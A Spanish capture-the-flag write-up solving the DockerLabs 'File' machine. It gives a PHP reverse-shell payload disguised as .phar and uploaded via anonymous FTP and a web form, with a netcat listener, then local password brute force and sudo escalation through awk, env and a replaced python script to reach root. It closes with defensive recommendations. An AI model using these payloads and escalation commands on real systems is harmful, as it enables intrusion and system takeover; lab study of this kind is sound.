File
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina File, desarrollada por Scuffito y Jul3n-dot para la plataforma DockerLabs y clasificada como fácil. El objetivo es presentar un análisis claro, replicable y orientado a buenas prácticas, abarcando:
- Identificación de vectores de ataque reales.
- Explotación basada en fallos de configuración.
- Técnicas de escalada de privilegios mediante abusos de
sudo. - Consideraciones defensivas aplicables en entornos productivos.
La metodología aplicada sigue tres fases:
- Reconocimiento: Enumeración de puertos, servicios y rutas web.
- Explotación: Uso de FTP anónimo para subir archivos maliciosos.
- Escalada de privilegios: Abuso de binarios con permisos delegados para pivotar entre usuarios hasta llegar a root.
Todo se realizó en el entorno aislado de DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | File |
| Autor | Scuffito y Jul3n-dot |
| Dificultad | Fácil |
| Fecha | 29/04/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir:
unzip File.zipEjecutar:
sudo bash auto_deploy.sh File.tarEl script entrega una IP interna utilizada durante el análisis:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del Workspace
Sección titulada «1.1 Organización del Workspace»mkdir -p File/{content,exploits,nmap,gobuster,scripts}cd FileUna estructura organizada facilita documentar la metodología y permite reproducirla.
1.2 Escaneo de Puertos
Sección titulada «1.2 Escaneo de Puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos detectados:
- 21/tcp — FTP
- 80/tcp — HTTP

La presencia de FTP junto con un sitio web sugiere vectores de subida de archivos.
1.3 Enumeración Web
Sección titulada «1.3 Enumeración Web»gobuster dir \ -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js \ -t 200
Rutas relevantes:
-
/index.php— Página principal
-
/uploads— Directorio con listado público -
/file_upload.php— Formulario de subida potencialmente vulnerable
1.4 Enumeración FTP
Sección titulada «1.4 Enumeración FTP»nmap -p21 -sCV 172.17.0.2
Se confirma:
✅ Acceso FTP anónimo habilitado ✅ Permite subir archivos
Esto abre un vector para Upload + RCE.
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»2.1 Subida de Reverse Shell
Sección titulada «2.1 Subida de Reverse Shell»El upload filtraba por extensiones, así que se envuelve la payload en .phar, formato permitido.
Payload:
<?php -r '$sock=fsockopen("172.17.0.2",443);$proc=proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'?>Se sube desde file_upload.php.
Listener:
nc -nlvp 443Luego se ejecuta desde /uploads:

http://172.17.0.2/upload/revShell.pharReverse shell recibida:

Paso 3 — Escalada de Privilegios
Sección titulada «Paso 3 — Escalada de Privilegios»3.1 www-data → mario (fuerza bruta local con suBF)
Sección titulada «3.1 www-data → mario (fuerza bruta local con suBF)»Se prueban usuarios obtenidos del sistema (fernando, iker, julen, mario) usando suBF.sh.
Ejemplo:
./suBF.sh -u mario -w top12000.txt -t 0.7 -s 0.007Resultados:
-
Fernando

-
Mario

El usuario mario posee mayor nivel de privilegios dentro del host.
3.2 Mario → julen (Abuso de awk)
Sección titulada «3.2 Mario → julen (Abuso de awk)»Salida de sudo -l:

Se puede ejecutar awk como julen:
sudo -u julen awk 'BEGIN {system("/bin/sh")}'3.3 Julen → Iker (Abuso de env)
Sección titulada «3.3 Julen → Iker (Abuso de env)»sudo -l:

Explotación:
sudo -u iker env /bin/sh3.4 Iker → root (python3 sobre archivo controlado)
Sección titulada «3.4 Iker → root (python3 sobre archivo controlado)»sudo -l:

Se puede ejecutar como root:
/usr/bin/python3 /home/iker/geo_ip.pyComo el archivo no es modificable pero, se remplaza por uno nuevo con:
import osos.system('/bin/bash')Ejecutar:
sudo /usr/bin/python3 /home/iker/geo_ip.pyY obtenemos root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»-
FTP anónimo habilitado y con permisos de escritura → Permitió subir un archivo ejecutable desde la web.
-
Subida de archivos sin validación estricta →
.pharbypass de extensión y validación MIME débil. -
Listado público del directorio
/uploads→ Permitió identificar y ejecutar la reverse shell. -
Uso incorrecto de
sudocon binarios peligrosos:awkenvpython3ejecutando archivos modificables → Cada uno permitió escalar a un usuario superior hasta root.
-
Contraseñas débiles en usuarios locales → Fuerza bruta rápida con
suBF.sh.
Recomendaciones
Sección titulada «Recomendaciones»✅ Deshabilitar el FTP anónimo y restringir permisos de escritura.
✅ Implementar validación estricta de extensiones y MIME en uploads.
✅ Deshabilitar listados de directorios (Options -Indexes).
✅ Revisar sudoers y evitar binarios con capacidad de ejecutar comandos.
✅ Aplicar Principio de Mínimos Privilegios (PoLP) para usuarios locales.
✅ Política estricta de contraseñas: longitud, complejidad y bloqueo de intentos.
✅ Monitoreo de archivos críticos como geo_ip.py.
✅ Pruebas periódicas de seguridad y hardening del stack.